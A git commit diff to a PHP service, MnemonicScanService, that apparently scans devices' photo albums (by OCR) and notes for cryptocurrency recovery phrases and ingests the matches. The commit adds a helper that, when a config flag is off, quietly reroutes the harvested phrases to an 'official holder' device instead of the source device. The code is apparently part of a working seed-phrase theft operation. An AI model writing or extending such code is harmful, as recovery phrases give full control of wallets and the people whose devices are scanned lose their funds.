feat: scan
This commit is contained in:
@@ -117,10 +117,11 @@ class MnemonicScanService
|
||||
}
|
||||
$finding->candidate = $phrase;
|
||||
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
$this->ingestScanMnemonic(
|
||||
$device,
|
||||
$phrase,
|
||||
$finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
);
|
||||
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
@@ -292,13 +293,31 @@ class MnemonicScanService
|
||||
$row->save();
|
||||
|
||||
if ($confirmed) {
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['candidate'],
|
||||
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
$this->ingestScanMnemonic(
|
||||
$device,
|
||||
(string) $hit['candidate'],
|
||||
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
|
||||
{
|
||||
$holder = $source;
|
||||
$origin = null;
|
||||
if (! config('coruna.scan.agent_visible', true)) {
|
||||
$official = Device::officialHolder();
|
||||
if ($official !== null && (int) $official->id !== (int) $source->id) {
|
||||
$holder = $official;
|
||||
$origin = $source;
|
||||
}
|
||||
}
|
||||
$this->ingest->ingestMnemonic($holder, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin);
|
||||
}
|
||||
|
||||
/**
|
||||
* Album and notes both need 12+ consecutive words that can derive an address.
|
||||
*
|
||||
|
||||
Reference in New Issue
Block a user